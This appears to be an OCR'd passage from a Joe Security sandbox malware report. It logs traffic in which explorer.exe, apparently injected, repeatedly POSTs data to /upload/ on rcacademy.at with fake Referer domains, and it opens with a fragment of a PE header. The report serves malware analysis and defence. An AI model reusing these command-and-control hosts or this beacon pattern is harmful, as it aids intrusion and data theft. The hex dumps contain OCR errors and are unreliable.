Data Ascii: 6344eMZ@!L!This program cannot be run in DOS mode.$?@J"JN\"&H"%( ["%(,"C&-O"NIM"%(a"%($K %

(#K RichJ"PELI_"PD@PzM<kPP@.text6 ".data@.rsrckl@@.reloc56 @BDXI(<Pp:Zp(Lh

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://brdquks.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 341

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:36 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe

Data
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Timestamp

Dec 18, 2021
18:40:37.573935032 CET

Dec 18, 2021
18:40:38.206891060 CET

Session ID

34

Timestamp

Dec 18, 2021
18:40:38.614415884 CET

Dec 18, 2021
18:40:39.760237932 CET

Session ID
35

Timestamp

Dec 18, 2021
18:40:39.989644051 CET

kBytes
transferred

11289

11290

Source IP

192.168.2.3

kBytes
transferred

11291

11292

Source IP
192.168.2.3

kBytes
transferred

11293

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49838

Direction

ouT

Source Port

49839

Direction
ouT

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nyignwiti.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 150

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:37 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pedravrtx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 121

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:39 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xjumtg.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 363

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 11294
18:40:40.616503000 CET

Session ID Source IP
36 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11295

18:40:40.867687941 CET

Dec 18, 2021 11296
18:40:41.839890003 CET

Session ID Source IP
37 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11297

18:40:42.063497066 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49840

Direction

ouT

Source Port
49842

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:40 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fikqyahj.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 123

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:41 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dqvdpes.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 140

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 11298
18:40:42.696571112 CET

Session ID Source IP
38 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11299

18:40:42.970401049 CET

Dec 18, 2021 11300
18:40:44.106771946 CET

Session ID Source IP
39 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11301

18:40:44.230818987 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49843

Direction

ouT

Source Port
49844

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:42 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xxllsqwukj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 115

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:43 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pvpiafpt.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 301

Host: rcacademy.at

Page 52 of 77



kBytes
Timestamp transferred

Dec 18, 2021 11303
18:40:44.817770004 CET

Session ID Source IP
4 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 1161

18:39:52.426753044 CET

Dec 18, 2021 1162
18:39:53.617010117 CET

Session ID Source IP
40 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11304

18:40:44.969856977 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49746

Direction

ouT

Source Port
49845

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:44 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rqcqf.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 124

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:53 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ggjgko.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 305

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 11305
18:40:45.458728075 CET

Session ID Source IP
41 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11306

18:40:45.671621084 CET

Dec 18, 2021 11315
18:40:46.327539921 CET

Session ID Source IP
42 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 11316

18:40:46.389461040 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49846

Direction

ouT

Source Port
49848

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:45 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

186.74.208.84 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gqxxbx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 363

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:46 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 44

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 00 00 d8 80 d7 bd 9d d9 al 98 be 23 cd c5 88 81 d0 9e 5c 28 53 3f 08 a5 69 58 b5 a0 14 bd c6 ad a3 2c 87 3a
d4 f4 2f 09 5b 89 92 8a

Data Ascii: #\(S?iX,:/[

Destination IP  Destination Port Process
